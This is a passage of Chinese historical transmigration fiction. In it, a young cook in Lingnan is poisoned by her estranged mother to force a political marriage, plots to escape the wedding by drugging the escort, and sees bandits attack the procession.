怕不是鬼上身了。晏知微一时后背发凉。
“知微姐。”背后传来声音,一个穿桃红衫子的少女盈盈地笑,是隔壁方大娘未出阁的女儿,多年前方大娘被丈夫休弃后其女随母回了娘家,改姓为方,方姑娘平日性情开朗,和晏家也是关系熟络。
虽然准确来说,是和祝明煜关系熟络,不过这都是不重要的事儿了。
“我新做了一些米糕酥,半途想起你不食花生便没放,趁着新鲜给你送来。”方姑娘指了指桌面上的小盘糕点,又为口干舌燥的晏知微倒了杯茶。
晏知微接过方姑娘递来的茶盏,听对方道祝明煜早在一个多时辰前便出了门,也没交待过去处,只拜托她帮忙将青椒坛搬入柴房,定点后在坛口凹槽注冷开水以封坛。
也就是说,如今井井有条的一切都是方姑娘的成果,而那个白痴白喝的臭小子,居然,跑路了!
“我得剥了这臭小子的皮。”茶滞在唇舌久不下咽,晏知微嘴角都硬了。
晏知微抓起角落的箕帚冲出门,转角撞着了方大娘。
方大娘着一身红,胭脂也艳到扎眼,倒像拿了自家制的红腐乳抹脸。晏知微被吓了一跳,后又想起方大娘干的是红娘的营生,在整个小镇都有名,她这才安下心回过神来。
“知微丫头。”方大娘见撞上自己的是晏知微,改过原本龇牙咧嘴的痛楚表情,换上笑。
“有一件好事儿,大娘要跟你说。”晏知微瞥过方大娘挎着的小篮,里头装着槟榔和鸡酒,这是岭南婚俗常用的聘礼。更惹眼的是,最底下还有一层在阳光底下银光闪闪的物什。
怕不是礼金。
晏知微瞪大了眼。
檐头的麻雀三两成群,传来唧唧喜声。
晏知微泡上家里最好的茶,端坐在方家母女前。
晏知微没想到这一天会来得的如此早。自心头而上,有酥麻麻的痒直钻脚底。
前世她也算是老家十里闻名的贤惠女,可因得她丑,媒婆见了她都绕道走,如今竟有人肯花重金求娶她?晏知微下意识抚上脸颊,年轻的肌肤细嫩如瓷,连那颗小痣都生得恰到好处。
晏知微有些欣喜,却也滋生失落。
喉咙一升一降,晏知微颤道:“是哪户人家?”可话一出口她便后悔了,这尾音颤得都不像自己。
方大娘还在笑,抿了口茶,仍是打算绕些弯子。
“知微丫头,大娘也算是看着你长大的,当年你被丢到镇上来的时候还是多小的孩子,转眼成大姑娘了……”晏知微是穿越来好一段时间才知道自己的年纪与身世,她现在正好十六,听人说起她被家族送到小镇来时不过十岁,家族连个使唤丫头都没给留下,只留一个风烛残年的老婆子照应晏知微,没两年老婆子便去世了。
还是邻里热心,靠着百家饭养大晏知微。
纵使穿越而来的晏知微并没有切身体会过原身当年漂泊无依的辛劳,眼下听方大娘这一说,不免心房微动,红了眼眶。
方大娘粗糙的手罩住晏知微:“你长得漂亮,人又勤快,还收留了明煜,说实话,大娘是真觉得你善良……”
“你和明煜二人生活在一起也不容易,又开了个餐馆,平日也忙
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前忙后,不见闲暇。大娘的意思呢,是人多力量大,咱们以后成为一家人再互相帮衬,这不也是亲上加亲吗?”
晏知微沉浸在大娘的赞言里,头埋得够低,手上的汗帕都变了形下。晏知微自认不是什么独立大女性,她也没有宏伟的愿望,她就是想靠自己的手艺混口饭吃,如果可能的话,还希望能够让珍爱的人都能过得更好。
至于婚姻……晏知微前世也曾渴望过有人能给她一个避风港,虽然她知道将命运赌注在他人身上是件不靠谱的事儿,可她还是爱做些不切实际的梦。
真的有人会爱上她,就像雏鸟思巢一般,形成如与生俱来般的依恋吗?
晏知微仍是低眉不语。
“方大娘,你的心意我知道。”
“可婚姻不是儿戏,此事,总归还要多加思量。”晏知微抬眸,终道。
“自然要多加思量!”方大娘又笑,“主要还是我们家丫头实在不好意思啊,你也知道她就是个闷葫芦,哪晓得勇敢表明心意呢?”
方姑娘拽住母亲的衣袖,红着脸别过眼。
“我的意思是,这个事情还有劳你同明煜说一声,我家姑娘人也不错,两个人也算熟悉,若是能撮合这段姻缘,自然也是一番美事!”方大娘将挎篮上裹着的布掀开,除了槟榔和鸡酒,最下层还有好几条肥硕的银鱼。
“知微丫头,一点小心意。”方大娘道。
晏知微有些糊涂了。她指了指自己,又指了指一旁扭捏的方姑娘,不敢相信自己听到了什么。
“方大娘,您的意思莫不是……”晏知微咧开口,下巴都快垂到地上,“您的意思是,想要为方姑娘求亲?”
求亲的对象还是……祝明煜?!
晏知微眼珠子都快被震碎。
方姑娘仍是腼腆一笑,娇羞地捋过及腰的长发。而方大娘也是满脸期待,死拽住晏知微的手。
靠!
晏知微牙都快被咬碎了。
老天究竟是瞎了什么样的眼,她晏知微前世长相粗鄙得不到人爱便罢了,今生她高低也算是个美人了,有手艺,人也勤快,居然没有男人看得上自己?
不对,相比于自己,方姑娘居然会更喜欢祝明煜!
明明是她先认识的方姑娘,平日对方有什么事儿晏知微也是第一个挺身而出,有晏知微这一个参照,方姑娘却偏偏喜欢上了木讷的祝明煜。
难不成祝明煜偷背着自己勾搭了人家!难怪干活都不仔细了,原来心思全在他人身上。
晏知微眼白都快翻出眼眶。
“你们走吧。”晏知微复拎起箕帚,倒置桌上的茶具以赶客。
方大娘还在坚持:“等明煜回来后再细聊哈。”
晏知微强撑笑,心想祝明煜最好别再回来,不然今天既是他的归期,也是他的死日!
晏知微“砰”的一下关紧大门,巨力之下,门锁裹挟着风吱吱作响,绕过峡湾,又吮过浪潮,夹带岭南特有的咸甜,海风“啪”地砸到祝明煜的面上。
“阿嚏!”远在县衙内,祝明煜竟无端打了个喷嚏。
他随身的半块金襄玉撂在案板上,折过对面男人幽邃的疃仁。一封信笺大咧咧摊开,上边只两个刚劲的连笔
——“速归”。
5. 母亲?!
“所以……你究竟发生了何事?”晏知微左手托腮,一双丹凤眼烁然,锲而不舍试探着祝明煜。
自县衙案告一段落,又是小半旬过去。
当事人晏知微照旧精神抖擞,一顿能食上两碗饭不止,祝明煜却时常是一副失神的状态,不单是帮工做生意的时候恍惚,人影也经常无端消失。
晏知微起初以为祝明煜是在为方大娘的求亲而烦心,毕竟祝明煜脸皮薄,惯不会拒绝人。
但好像又不是这样。
这些天来,晏知微做工的时候总感觉背后有一股无端寒意,晏知微以为是她揭发过的小摊聚起的怨,还特意花了些钱请大师做法,可一切并没有好转。
直到有天她随手塞了枚铜镜片在腰间,光线反射时,晏知微恰巧对上祝明煜幽怨的眼神——
“你能不能不要用这种目光看我了?”不知是不是错觉,晏知微总觉得祝明煜的眼神带着股埋怨的委屈,虽说她的确因祝明煜擅离其岗关了他柴房,素日同他说话也总是没有耐心,还喜欢使唤祝明煜做这做那,可……
她待他也没有很差吧。
她一来不pua,二来不收祝明煜的伙食住宿费,偶尔还倒贴发些工钱,这不比现代的资本家慈善?
是以晏知微受不得他这样看。
“有事就直说。”
“别跟个被休弃的小媳妇一样。”吞过无数犀利用词,晏知微弹了祝明煜一个脑壳蹦,无奈提醒道。
“随便你了。”休整的时间已过,晏知微甩了甩手腕吁气,重回灶台边。煦阳温柔,晏知微埋头赶工,乌发像涨潮后留在沙滩上的海藻,裹在日光的柔和下。
祝明煜久久地凝视晏知微的背影,脑海又掠过朝廷下派的信件。
“速归”……吗。
杯中茶饮尽,喉结几度升降,他终还是道不出即将远去的事实。
拎起抹布,晏知微洗净双手后盘发,午后来食肆的人不多,可该做的工仍是不少。晏知微俯低身子,小臂肌肉随之拱起,她反复拭灶台上沾洒的油渍,汗珠滑过小臂内侧不算精瘦的丘山,在日光下变成坠落的银耳环。
晏知微一面在内心盘算着食肆今日的所盈,一面思量着换季的食谱,她想得入迷,以至前厅的争吵声都未能听清。
“这是做的什么腌臜饭菜,连鸡蛋壳都埋在里头,狗娘的,给我把掌柜的叫出来!”前厅的木椅,几个男子正在叫嚷。为首的一肥头彪形大汉大咧开腿,以手剔牙,不耐道。
“这位客官,您歇歇火,我这便让厨房重做一遍,再给您送上盘腌菜赔礼可好?”店小二搓手上前,低声抱歉。这般的事情偶有发生,他照寻常处理,本以为可安抚几名男子的怒火,然而那彪形大汉却不依不饶,一掌拍碎桌板。
桌面上的饭菜尽数倾倒,被人用脚糊蹭在地上。
彪形大汉从怀中摸出把刀,高声叫:“把你们掌柜给我叫出来没听到吗?”
“老子可没有什么耐心,信不信我砸了你这破店!”大汉身旁的几人也纷纷站起,气势汹汹。
店小二没见过这种阵仗,一时软了脚,险些跌在地上,好在背后有一双及时撑住,他才勉强回了神。
“祝爷……”店小二嗫嚅。
祝明煜微微点头,护店小二于身后。
“若是有何怠慢客官之事可以直说,可若是几位客官如此无理,我们也不能任之欺之。”祝明煜擎了根棍,眸光如炬,扫过一众正欲起事的人。
食肆内本就不多的三两客人皆是起身,不知谁人带来的家猫受了刺激从主人怀中挣脱开,它厉叫窜开,从外头引来一群看客。
晏知微也从灶台脱身,目睹满目狼藉。
还未来得及心疼被砸坏的桌板及一干餐具,只见气氛凝重到头,纷争一触即发。
“都给我住手!”不知从哪传来一声怒音,人群中走出几名黑衣剑客,个个都体型高壮,在他们之后是一美貌妇人,身着上好绸缎,头上缀了些金饰银花。
顷刻间,其中一名黑衣剑客提剑而起,左手制服住彪形大汉,右手的刀则封住对方的喉。
“这里还轮不到你们撒野。”美貌妇人冷哼摔袖,“把他给我丢出去。”
说时迟那时快,不到半炷香的功夫风云巨变,眼见事情得到解决,围绕的看客纷纷散去。
只晏知微还僵在原地。
她看到那美貌妇人的模样,竟和她有一双八分相似的眉眼。
“你是……知微?”瞧见傻在原地的晏知微,秦玉致阴鸷的眉头突然放平,她推开挡在身前的剑客,直直奔向眼前人。
“竟然长这么大了。”秦玉致颤着手,眼眶蓄泪,“你可还认得我……我……我是你的娘啊。”
啪嗒,晏知微手上的抹布落到地上。
——
晏宅,是夜,秦玉致擒住手帕,一点点拭去眼角的泪。
“当年,如果不是你那嫡母从中作祟硬说你是赤脚鬼转生,咱们府上的情况亦日渐衰微,姨娘是万万不会同意你父亲将你送到这乡野的做法的……”秦玉致抽泣耸着肩,左脸散下碎发,眼圈红得让人心疼。
“姨娘……不,夫人……”最先做出反应的是祝明煜,他站在晏家母女身边,也是头一次瞧见这样的情形,手忙脚乱不知如何是好。
晏知微也微低头,手指轻敲桌面。
一切对她来说都是那么陌生——晏知微在上身原主之前从未见过任何一位亲人。除却姓名外,她对原主的过往都是从他人的只言片语里得知的。
再有,便是原主似乎是被病死的。晏知微穿越到这个世界时透过铜镜只能瞧见一张瘦得不成形的脸,她手上还攥着张粗巾,上边是喷溅出的血液。
鲜红的血色汇聚成珠,脱胎成眼前秦玉致送来的上品石榴籽。
除却岭南难得一见的吃食,秦玉致还带来了不少锦缎胭脂,足有小半箱物什。
晏知微看看自己身上穿的粗麻,又看看不远处的上好绸缎,想起原主离世前憔悴的面容,捂住胸口,竟无端生出几分伤感。
若是原主还在该有多好,只可惜……晏知微垂下眼睫,躲过秦玉致憔悴的模样,隐隐心痛。
秦玉致仍在哽咽:“好在这
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么多年过去了,见到我儿安好,伪娘的也总算能放下心。”
秦玉致覆上晏知微的手背:“当年终究是我对不住你,不过现在府上的情况有了好转,你爹又重新入仕,你的嫡兄也中了举人,姨娘这次来岭南,也是希望能把你接回蜀郡去。”
“晏府虽然不复百年前的世家盛况,但多少比在这乡野间过得好,而且你爹近来病重,一日不如一日,你若是想开食肆,回乡之后也是有机会的,你知道姨娘的意思吧……”秦玉致拢过晏知微的发,又将头埋进贴身的绢帕。
油灯昏黄,庭院槐影斑驳。女人的眼泪令铁汉柔情,也令晏知微感怀。
从两人相认开始,秦玉致便卯足了劲向自己示好。先是初见时她踉跄着扑向晏知微的粗布襦裙,指尖触到温热脉搏时又蓦地缩回,再是她领着做完工的晏知微上街,为她梳妆打扮,买上些女儿家多爱的饰品玩意儿。秦玉致还将自己贴身携带的香囊摘下,里头装着十六枚用红绳系着的珍珠坠,这物什在临海之地虽不算珍贵,但也是秦玉致贴心准备的。
进了晏宅,秦玉致更是寻来针线,说是要为晏知微磨损的衣裳缝补些新样式。
“为娘对不住你。”几乎是跪在里间的榻上,秦玉致忍着痛,一针一线缝过衣衫。
金线在烛泪里忽明忽灭,晏知微舔过唇,舐到发苦的盐泪。或许天下母亲本就一样,无关境遇,也无关贵贱,总是一味心疼着自己的孩儿。秦玉致低眉的面庞与晏知微记忆里母亲的身影重合,总让晏知微想起母亲穿着破烂胶鞋,挨家挨户敲门、询问、祈求甚至是下跪,总算是为她凑齐了高中的学费,让她免于初中毕业后辍学嫁人的命运。
晏知微抹过眼,挤了挤发酸的鼻子。她最受不了感情牌。秦玉致尚且如此,她嘴里念叨着的慈爱父兄怕是只会更好。
温暖而又亲近的家庭,不需要太好,哪怕只一间草屋,都是晏知微前世的可求不可得。
与之相比,自己守着的这家小小食肆真的重要吗。
晏知微在心里思量——离开岭南,回到家乡她还能再开店,手艺在身,祝明煜也会跟着她,最多不过是换个地方,可身旁多了倚靠,世间会多了盏等她回去的灯。
岭南的海岸线太长,夜深后的风太大。她不想像个游魂一样东躲西藏、在摇摇欲坠的草木房里焦虑明日生计。
泪珠在晏知微眼眶蓄了又荡,几声叹息后,晏知微同意了秦玉致的建议。
闻言,秦玉致的泪终于止住了。
“你若是思念岭南,咱们找机会还可以再回来……”光影忽略的地方,秦玉致的睫毛剧烈颤动,如折翅的秋蝉般,神色裹过黏稠的挣扎。
母女相对无言,油灯在侧,剪影出两个彼此拥抱的身影。
很多年后晏知微还会回忆起这天,那是她人生命运改变的一天。岭南微咸的海风与菜摊此起彼伏的搭语逐渐远去,飘香的食肆落灰断砖,取而代之的是金碧辉煌,也是望不见的层瓦高檐。
像是一颗破了壳的蛋黄,清白蛋液渗入尘垢,凝成妆匣底下的胭脂痂。
她再回不到最初。
6. 算计
又一日清晨,市集早已被初阳镀上一层金辉,晏知微照常挎着篮,祝明煜站在她身旁,余光瞥见晏知微满脸春光,连走路的步伐都轻快上几分。
“晏店家,今儿笑得这么开心,不会是有什么大喜事了吧?”
菜场,老王头擒着把草扇,扇散开额角因搬货而积起来的汗珠。
“哟,老王,你的消息可是不灵通啦。”一旁卖小菜的大婶桀桀一笑,“是咱们知微丫头的母亲回来了,人家母女情深正高兴着呢,你瞧,知微丫头今天买的菜比平时还要高档上几分,怕是今天都不打算营业,就准备歇上一天做个团圆饭呢!”
小镇不大,当日秦玉致与晏知微在食肆认亲的事早已传开,卖菜大婶是常年被晏知微照顾生意的,她知晓晏知微的身世,现今也是真心为她高兴。
她将自己手上刚剥好的豌豆递给晏知微:“丫头,听说你要走了,我也没什么能给你的,这个收下,也算是我的一些心意了。”
久在田地里耕作、冻水中冲刷的手指掬住无数青翠的豆子,一捧捧送进晏知微的小篮。
晏知微瞥了眼小篮中的食材,有隔壁屠户送的牛肉,也有刚才老王头听说喜讯后连忙切来的上好豆腐。
小镇人不会说什么甜言祝语,只一味朝晏知微塞东西以表心意。
晏知微抿唇,有些鼻酸,撑着笑谢过老王头与大婶,又从他们摊贩中买了些多余的食材。
祝明煜落在晏知微身后,从他的角度可以看到晏知微泛红的眼,像是抹胭脂,和她皎白的牙齿形成鲜明反差。
可祝明煜看得出来,晏知微是欢喜的。
祝明煜亦然。
晏家母女相认后他的心头松下口气,毕竟他终归是要走的,聚散有时人事无常,他不愿别后晏知微孤身一人,好在上天有好生之德,为晏知微寻到了新的羁绊。
祝明煜眸光浸在晨曦中,仍是温柔注目,只是不知为何,他总觉得有几分揣揣不安。
是哪儿奇怪了呢?祝明煜紧了紧手。
秦玉致昨日和晏知微彻夜夜谈,祝明煜为两人送过几回热茶,无意间听到秦玉致的低语。
秦玉致软着声,隔着烛影,靠上晏知微的肩:“我儿,你今年也十六有余了,年纪不算小,可有心仪的对象?”
“你父亲知道我要来寻你,特地托人带上了几幅画像给你相看,都是才子,与你相配得很。”秦玉致不知从哪抽出一副卷轴,展开来给晏知微瞧。
“尤其是这户人家,是咱们晏家现居地最有权势的人家,你若是能嫁给他,不仅门楣添光,一家人以后也要仰仗着你啊……”
祝明煜缩在门口,闻言感到淡淡被碾过的酸楚,他抻着脖子想向内挤,还是看不到房内的细节,只能听到秦玉致的细碎几语。
透过窗影,晏知微隐约摇了摇头,接着秦玉致也起身,两个人推拉了一阵后熄了灯。
直到今晨外出采买,祝明煜都没见两人再说上话。祝明煜的思绪又飘回晏知微的身上,晏知微看着心情不错,还是照着昨天晚上的安排,亲自下厨招待远道而来的母亲。
母女相认相亲是好事,可真会有母亲见到孩儿不到一天便急匆匆为其安排上人生大事吗?
祝明煜想到自己的母亲,那个手持长缨的女将军,在战场上挥斥方遒,私底下又柔情似水,若是两人得以重逢,多年未见,她也会上来便和自己探讨姻缘吗。
祝明煜的眼睫抖了抖,又有商贩送了晏知微一条肥鱼,他抢在晏知微前头接下,盯着晏知微的侧脸欲言又止。
——
与邻一墙之隔的寝房内,秦玉致举起泛黄的画轴,上头是一个粉嫩的女童,体型清瘦,胜在一双凤眼灵动而明亮。
估摸着是当年一同送来的那个老婆子所作,听说她还教过晏知微识文断字,虽然派不上用场便是了。
秦玉致敛好画轴,眼底闪过一瞬若有似无的柔情。
“东西准备好了吗。”秦玉致问。
“老奴一直备着。”贴身嬷嬷呈上一个木质小盒,精致的纹路包裹住一颗黑色的药丸。
“还是家主想得周全,预想这趟劝行不会顺利,已提前做下其他准备。”小盒里的药丸是晏家祖传的一剂凶狠毒药,无色无味,毒不致死却会定期发作,让人承受锥心之痛。此药无解,只能定期服用特定的解毒丸以抑制毒素。
贴身嬷嬷又道:“等姑娘服下此药,便是再不愿意,也总得听指挥上轿嫁人。”
“说到底,能够从乡野嫁往地方权贵,到底还是姑娘高攀。”
“主子你这回来,实则是帮了姑娘一把。”
秦玉致微颔首,接过药丸细细打量,道:“其实我也不想走到这一步,可惜她实在不懂味。”
她此次寻女不过是受晏氏宗族之命,晏家作为落魄的贵族是百足之虫,死而不僵,失了权柄不失美名,这样的家族在乱世中想要善存,免不了向地头蛇王家投诚。
投诚最好的方式莫过于姻亲。
晏家子嗣单薄,投诚的人家也不过是山贼起家,野蛮之族。家母不愿出嫁独生嫡女,思来想后还有一个早就丢在乡野自生自灭的庶女,便撺掇家主遣秦玉致来寻。
秦玉致也犹豫过几分。晏知微与她母女情浅,终归还是她身上掉下来的一块肉。然她膝下还一双儿女,大儿聪慧,小妹孝顺,她是母亲,自然要为亲手养大的孩子谋一个更好出路。
于是她答应家主,甚至从外找了几个壮士,演上一出“母亲救女”的好戏,还有彻夜交谈,秦玉致本想靠此让晏知微进一步放下警惕,好达到她的目的。
可惜没成,晏知微不愿意嫁人。时间不够也秦玉致再软磨硬泡,她必须即刻出击。
夜长梦多啊。
秦玉致放下手中药丸。
门窗微微开合,泄入微不可觉的斜风,贴身嬷嬷搀扶起她。
秦玉致问:“她现在在何处?”
“姑娘正在后厨忙碌。”
“送碗杂粮粥过去吧。”秦玉致道,“就说是为娘的体恤女儿。”
秦玉致提眉,拿起泛黄画轴,冷冷一眼后,顺手丢入烧得正旺的火盆。
——
“祝大哥,祝大哥!”方姑娘提着裙摆,极力想掩饰住心中的慌乱,手却攥得直冒汗。
祝明煜刚劈完柴,未饮尽一口茶水便瞧见方姑娘冒失的模样。豆蔻姑娘向她而来,祝明煜突地想起晏知微提过的婚约,脸庞不禁泛红。
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还是要和方姑娘解释清楚。祝明煜心道。他起身让座,又倒了盏茶,预备递给方姑娘。
谁料方姑娘开口便是噩耗:“祝大哥,晏姐姐现在何处,怕是要出事了!”
“你说什么?”茶未半盏,杯落壶翻,祝明煜僵白了脸。
祝明煜飞奔前往厨房,他一步并作二步,远远甩过背后气喘吁吁的方姑娘。
方才他已从方姑娘处拼凑出所有的真相,亏得晏知微如此善待,见秦玉致体寒,岭南又潮湿,她在初秋便换上素日入冬都不舍得买的上好炭火。为了一个几乎可以算得上是抛舍自己的至亲,晏知微奉上了最好的一切。
不单是清早买菜做饭,甚至于含辛茹苦壮大的食肆也准备舍去。
祝明煜的眼前又闪过晏知微含笑的面容。
秦玉致怎么敢,又怎么能糟蹋亲生女儿的真心呢?
祝明煜双目腥红,强忍酸楚,猛猛砸开厨房门。
“知微,知微!”祝明煜急道。
厨房一片整洁,铁锅上还冒着热气,隐隐散出蒸鱼的清香。
灶台上摆着一碗开动过的粥。再往下是瘫倒在地的晏知微,她的两只手耷拉,嘴唇还在嗫嚅。
“你喝过这粥了?”祝明煜喘着粗气,架住晏知微的双肩,“粥中有毒……”
“你喝过它了?”祝明煜颤问。
冰冷顺着祝明煜的血脉上涌,他臂上的青筋暴起,怒不可遏。
晏知微循着祝明煜瞳孔,看到他眼中的自己,慢慢回过神来。
“我没喝。”晏知微闭眼。
“这粥里边儿加了花生。”晏知微对它过敏。
她从地上爬起,拍去身上沾的灰尘:“粥刚到嘴里我便吐了,之后又漱了口。”
晏知微指了指地上的残留物,旁边是一只翻着肚皮的小鼠。
“我吐了之后它食了这粥,没过多久成了这幅模样。”小鼠的胸腔还在上下浮动,眼珠却木得失去了生机。
晏知微灰着脸,腹中一阵翻滚,她推开祝明煜,到庭院中呕了起来。
晏知微觉得恶心。不光是这粥、这鼠的惨状,还有这不能直视的人心。
晏知微捂着心口,望向秦玉致居住的寝房,房门紧闭,连点窗户缝都不留,像是在刻意回避什么,又像是在刻意撇清什么。
晏知微不由得发笑。
她一早便觉得奇怪。从秦玉致恰巧赶上食肆的祸乱到她大老远带来一堆名贵饰物,再到她昨日无端对晏知微姻缘的迫切关注,晏知微不是傻子,多少也察觉出异样。
只是她不愿相信亲生母亲竟然是菩萨面蝎子心,久别重逢的第二天,她便迫不及待朝自己下毒。
还不是一般的毒。晏知微抓紧手中的银钗,她验过的,又仔细闻过,都没发现破绽。如若不是恰巧对花生过敏,恐怕此刻倒在地上的,便是她晏知微了。
好笑,可笑!
晏知微脖颈泛痒,指甲划过皮肤,触到满串冰凉。
晏知微扯断胸前的珍珠挂坠。
爱她的时候,她是珍珠,不爱的时候,她是无用的鱼目。
世道如此,人心不齐。
既如此,也别怨她无情了。
7. 逃婚(上)(sp)
“主子,再过半月等事情全部敲定,家主便会派人接您回府了。”贴身嬷嬷揉过秦玉致的肩,耳语道。
许是岭南的湿气太重,秦玉致又犯了头风,她把住床架,眉头聚得很紧。
昨日的下药计划不算成功,但也达到了目的。晏知微虽没有中毒但不知怎的回了心,竟然松了口愿意出嫁。秦玉致觉得古怪,心忧有诈,又觉得晏知微不过是个乡野丫头,可能自个儿想开了发现嫁人才是最优出路。
秦玉致想,以晏知微粗鄙的视野,左右出不了什么岔子,便也就不多思了。
贴身嬷嬷的按摩并未见效,秦玉致干脆拍开其手,问:“咱们此行带的嫁妆可够?”
秦玉致这回来岭南做了十足十的准备,连晏知微可能要用着的嫁妆一并配齐。毕竟晏家瞧不上王家,若是可以的话,只希冀晏知微直接从岭南出嫁,免得玷污自家门楣。
至于这嫁妆,秦玉致数过,足足一箱锦缎,一箱金银。终归是自己的女儿,又是去投诚,只准备些普通衣物与面盆皂角实在是上不了台面。
秦玉致与贴身嬷嬷看了看黄历,选了个还算喜庆的日子,向王家送去书信,又吩咐自家派来的家仆一路严盯护送喜轿至岭南边界,到时自会有王家人接应,等新娘转手,这门亲事便算成了。
秦玉致歪了歪脖子,瞌睡上身,唤贴身嬷嬷退下。
——
年久失修的后院,房檐下的铜锁生了绿锈。
申时,一墙之隔的方家,晏知微冷着面迈过院廊。
“知微,这件事真不再考虑了吗?”
“若是不想嫁,咱们可以逃啊,有我护着你,压根就不必和这些人多费口舌,你何须以身犯险呢?”祝明煜跟住晏知微偏快的步伐,头上满是大汗。
昨日晏知微被下毒的场面历历在目,谁知今日晏知微却一副没事人模样,大清早起了床,一反常态冲进秦玉致寝房商量起了婚事。
祝明煜不明所以,听了会儿墙角才后知后觉。晏知微没明说,但她铁定是要逃婚,而且不是婚前逃离,是要等上了花轿交接完,她下毒亲自惹怒王家再跑路,为的就是让晏家搬起石头砸自己的脚,自食恶果。
祝明煜虽是站在晏知微这头,却不支持晏知微这种自损八百的做法。一来晏知微是弱女子,未必敌得过王家派来接应的人手,万一有了什么闪失反而成了灾。其次晏家下毒纵有错在先,可终究是生养晏知微的地方,王家又非善类,如此行径恐也会给家族惹上不少祸端。
是以,哪怕晏知微的计划需要援助,祝明煜也表明自己并不支持她的计划。
晏知微听完祝明煜的说辞,不置一笑。
“祝明煜,你若是不愿意帮忙便算了,何须还劝我!”晏知微偏头,抽了抽嘴角。
“你不都要走了吗?”晏知微想起前些天无意在祝明煜寝房墙角看到的几包行囊,再加上祝明煜这段时间忽而失魂的表现,她心里或多或少都有过些揣测。
她知道自己和祝明煜最多算是搭伙过日子的“露水缘”,祝明煜虽失忆人仍保有天真,想来定有很好的家庭培育托底。
她晏知微作为孤女,不过是小小杂草,没想过能留祝明煜在身边一辈子。只没想到临别之际,自己作为救命恩人提出的一丁点请求都能够被轻易拒绝。
不单是拒绝,祝明煜甚至想教育她一番。
晏知微怒火中烧,翻起眼帘:“祝明煜,我从前只觉得你优柔寡断,实则不然,你就是不堪大事。”
“看着吧,总有一天同样的事落在你头上,你终会为自己的天真付出惨痛代价。”晏知微直视祝明煜,讽刺二字写尽脸上。
晏知微脚下碎步越迈越快。
“人都把刀架你脖子上了,你还想以退和解?我为什么要委屈自己,为什么要顾全大局?我偏不做这样的人,我的命在我自己手上,哪怕是玉石俱焚,哪怕是飞蛾扑火,我都要为自己活,活出个人样。”
晏知微扭过头,眼里塞满尖刀:“我要他们知道,即算我微不足道,也会尽我最大最后一分力,咬下他们的皮,啖尽他们的血!”
晏知微攥手为拳,齿肉相抵,磨出满腔腥红。
“祝明煜,不管你愿不愿意帮我,此事我都做定了!”一语毕,晏知微甩头。
“知微……”祝明煜抬手,似还想说些什么。
可他只抓住一缕尾风。
——
“吉时到,准备起轿,新人拜别高堂!”红衣加身,掐紧手中喜帕,晏知微屈身,向秦玉致行礼拜别。
红色的灯笼晃眼摇摆,火盆炭火爆出噼啪碎响,华盖高低错落,一丛丛火棘在山林行进。
晏知微坐在喜轿上,咬着唇强忍内心的不安。
她的手心渗透汗珠,关于复仇的计划早在脑海推算预演过无数遍,可这一刻她仍是双手发颤。
晏知微扯下红盖头,摊开手掌。她的掌心攥有一个绣着鸳鸯式样的香包,是临上花轿前方姑娘塞给她的。晏知微打开香包,抽出最上层的几个大香料,底下埋着的是一堆白色粉末。
晏知微嗅了嗅,确认是自己要的强力泻药。
晏知微又想起那个总是笑盈盈的方姑娘,会贴心在米糕酥里去除花生,又在撞破阴谋后急匆寻法子解局。还有整个小镇上的人,知晓晏知微要大婚都是清早起了床,哪怕秦玉致没设宴招待也不打紧,他们只是想目睹晏知微的人生喜事。
晏知微的眼睫有些发潮。
她合上香包,继续在起伏的花轿中复盘自己的计划。
她的思路很简单,大昭有结婚派送喜饼的习俗,就连大大小小的送亲团队也是有份。晏知微提前在喜饼里添了足量的大黄、巴豆等助泄药材,准备等王家迎亲的队伍接手花轿时送出。
当然,这个计划也有纰漏。喜饼未必能被每个人尝到,万一车队里有不喜者不食食物便不会中计。好在方姑娘提前准备了更为强效的泻药,去王家的路程遥远,晏知微只需趁护卫不备将无色无味的细小粉尘混入饮水,也能达到自己的目的。
至于其他,晏知微还把常服穿在了喜袍里,红色实在是扎眼,她必须要在第一时间隐蔽在树林,躲过回神寻找她的家仆们,提高自己逃离的可能性。
晏知微叹了口气,她没想过要这些无辜家丁的性命,不过是想等众人中计后趁机逃离,最后将上晏家一军。
“小姐,马上便午时了,前边山路崎岖,又遇到细雨,这一时半会儿也过不去,可否停下来暂时休整一番。”有家丁在外头请示,晏知微掀帘朝前边望,细雨缠绵,确实是望不到尽头的山路。
“原地休整半个时辰吧。”晏知微点了点头。
“是!”轿夫稳稳放下花轿。
小桥流水,绿林环绕,不远处传来山涧泉声,有送亲婢女建议晏知微下轿走动走动,然而晏知微神经高度紧张,思索了片刻后拒绝了。
按照这个进度,怕是黄昏时分便能临近王家说好的接人地。
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>必须得先做好准备。
晏知微打开准备好的干粮袋,从中抽了张凉透的烧饼,又饮了些水勉强充饥。
正午的阳光越来越大,绿野中传来动物的嘶鸣,晏知微撑着头小憩,浑然不知有人影正在靠近。
“抢亲!”森林中,有山贼发声,他们包围住晏家的送亲队伍,横着眼扯出刀来。
“把东西交出来。”领头的那人牵着狼,长得贼眉鼠眼,眉间有好长一条疤痕,断了眉毛长势,“自你们入这山里我就一直盯着你们,知道你们是富贵人家,我要的不多,识趣的把值钱的东西都留下,我可以饶你们不死。”
似乎想起了什么,“断眉”又吹了个口哨:“对了,再把你们小姐送过来,我要留下来做压寨夫人……”
“岂有此理!”晏家派来的送亲婢女打断“断眉”的发言。她环顾四周,山贼不过五六余人,还有好些个身材矮笑者,送亲队有超过十名男家丁,其中不少还是武夫。
送亲婢女扯出嘲讽的笑,就凭这些半吊子,真打起来,她都不知道哪儿能输。
晏知微听到声响,也从瞌睡中清醒,她微掀开帘子,偷摸打量当下的情态。
的确是两方差异悬殊。
纵然山贼那方有狼群为伴,他们所持的却不过是最普通的柴刀,寻常人家兴许还能被吓唬住,晏家家丁显然不属于这类。晏知微觑过家丁们一个个厚实的臂膀,手上拿着的也是新打磨过的刀剑,估摸早早便做好被劫的准备。
想要反败为胜,除非这群山贼有枪,显然这是不可能的了。
晏知微不由得心悸,她也想过雇人装土匪抢劫,自己趁乱逃跑的计划,最终还是因为祝明煜拒绝配合而放弃。
想到祝明煜,晏知微瘪了瘪嘴,有一瞬恍惚,很快又从中脱离。
山贼在倒数最后时刻,纷争一触即发。晏知微朝轿子后方躲了躲,拔下发顶最尖锐的钗。
“三、二……”
“断眉”拿手剔牙,身边的弟兄慢慢举起了柴刀。
“一……”紧张氛围烘托到极点,“断眉”倒完时,又突然止住了弟兄们的动作。
“真不想活了?”“贼眉”坚持问。
送亲婢女再次打断:“你个杂种!”
“砰!”
有火光隔开雨幕,炸开头盖碎骨。
混着脑浆的血液向下流淌,婢女轰然跪倒,半张完好的脸浸在泥水里,嘴角还噙着笑。
